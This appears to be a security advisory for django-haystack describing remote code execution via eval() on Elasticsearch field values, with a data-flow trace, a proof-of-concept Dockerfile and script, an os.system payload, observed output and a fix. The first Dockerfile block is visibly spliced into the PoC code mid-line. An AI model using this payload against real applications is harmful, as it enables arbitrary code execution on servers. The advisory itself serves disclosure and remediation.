GHSA-r3hx-x5rh-p9vv django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization

• PyPI django-haystack: < 3.4.0 → fixed in 3.4.0

Remote Code Execution via `eval()` in Elasticsearch Result Deserialization Summary The Elasticsearch backend in django-haystack calls `eval()` on raw field values returned from Elasticsearch when a `SearchField` is declared with an `index_fieldname` alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to `_to_python()` → `eval()`. An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: 8.5 (High). Details Sink — `haystack/backends/elasticsearch_backend.py:865`: ```python converted_value = eval(value) ``` `_to_python()` (line ~850) attempts to parse a string value by calling `eval()` before performing any type-safety check. If the value is an attacker-controlled Python expression such as `__import__('os').system(...)`, the expression is executed unconditionally. Root cause — `haystack/backends/elasticsearch_backend.py:727–737`: ```python for key, value in source.items(): string_key = str(key) if string_key in index.fields and hasattr(index.fields[string_key], "convert"): additional_fields[string_key] = index.fields[string_key].convert(value) else: additional_fields[string_key] = self._to_python(value) ``` `index.fields` is keyed by the *logical* field name (e.g. `"name"`), but Elasticsearch stores the document under the `index_fieldname` alias (e.g. `"name_s"`). Because `"name_s" not in index.fields`, the branch falls through to `self._to_python(value)`. Data flow (source → sink): 1. `haystack/indexes.py:226` — `self.prepared_data[field.index_fieldname] = field.prepare(obj)` stores data under the alias. 2. `haystack/backends/elasticsearch_backend.py:218` — prepared data copied into `final_data`. 3. `haystack/backends/elasticsearch_backend.py:236` — `bulk(...)` writes the document to Elasticsearch under the alias key. 4. `haystack/backends/elasticsearch_backend.py:574` — search reads attacker-influenced `_source` back from Elasticsearch. 5. `haystack/backends/elasticsearch_backend.py:720` — `_process_results()` takes `raw_result["_source"]`. 6. `haystack/backends/elasticsearch_backend.py:730` — lookup `string_key in index.fields` fails for alias keys. 7. `haystack/backends/elasticsearch_backend.py:737` — unmatched value passed to `_to_python(value)`. 8. `haystack/backends/elasticsearch_backend.py:865` — sink: `converted_value = eval(value)`. Missing fix: The Solr backend correctly remaps aliases at `haystack/backends/solr_backend.py:535–539` using `index.field_map` before performing the `index.fields` lookup. The Elasticsearch backend has no equivalent remapping. Preconditions: • The application uses the Elasticsearch backend. • At least one `SearchField` in a `SearchIndex` is declared with `index_fieldname` set to a value different from the logical attribute name. • The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index). • The attacker can trigger or wait for a search that returns the malicious document. PoC Environment setup (Docker): ```bash Build the proof-of-concept image docker build -t vuln001-poc \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/pypiAi_436_django-haystack__django-haystack/ Run the PoC — exits 0 on confirmed RCE docker run --rm vuln001-poc ``` Dockerfile (`vuln-001/Dockerfile`): ```dockerfile FROM python:3.11-slim WORKDIR /app RUN pip install --no-cache-dir setuptools setuptools_scm wheel COPY repo/ /app/repo/ RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5, {MARKER_FILE}')" ) raw_results = {"hits": {"total": 1, "hits": [{ "_score": 1.0, "_source": { "django_ct": "app.model", "django_id": "1", "name_s": payload, # alias key → lookup fails → eval() }, }]}} backend._process_results(raw_results) Confirms RCE: /tmp/django_haystack_eval_rce_proof contains "PWNED_BY_EVAL_RCE" ``` Observed output (Phase 2 dynamic reproduction): ``` ============================================================ VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend ============================================================ [*] Payload : __import__('os').system('echo PWNED_BY_EVAL_RCE > /tmp/django_haystack_eval_rce_proof') [*] Marker : /tmp/django_haystack_eval_rce_proof [*] Sink : elasticsearch_backend.py:865 eval(value) [+] SUCCESS: RCE CONFIRMED [+] Marker file created: /tmp/django_haystack_eval_rce_proof [+] File content: PWNED_BY_EVAL_RCE RESULT: PASS - VULN-001 is dynamically reproduced and exploitable ``` Recommended remediation: ```diff --- a/haystack/backends/elasticsearch_backend.py +++ b/haystack/backends/elasticsearch_backend.py -import re +import ast +import re index = source and unified_index.get_index(model) + index_field_map = index.field_map for key, value in source.items(): string_key = str(key) + if string_key in index_field_map: + string_key = index_field_map[string_key] if string_key in index.fields and hasattr( index.fields[string_key], "convert" • converted_value = eval(value) + converted_value = ast.literal_eval(value) ``` Impact This is a Remote Code Execution (RCE) vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with `index_fieldname` aliasing, regardless of how authentication is configured by the application. Reproduction artifacts `Dockerfile` ```dockerfile FROM python:3.11-slim WORKDIR /app Install build tools needed for setuptools_scm RUN pip install --no-cache-dir setuptools setuptools_scm wheel Copy the django-haystack repository source COPY repo/ /app/repo/ Install Django and the elasticsearch client RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8" Install django-haystack from the local repo (editable install) setuptools_scm requires git metadata; use fallback version instead RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/ Copy the PoC script COPY vuln-001/poc.py /app/poc.py Run the PoC by default CMD ["python3", "/app/poc.py"] ``` `poc.py` ```python """ PoC for VULN-001: Arbitrary Code Execution via eval() in ElasticsearchSearchBackend._process_results (django-haystack) Vulnerability: haystack/backends/elasticsearch_backend.py:865 calls eval(value) on Elasticsearch _source field values that do not match any entry in index.fields. This mismatch occurs when a SearchField uses index_fieldname (alias) different from its logical field name: ES stores data u…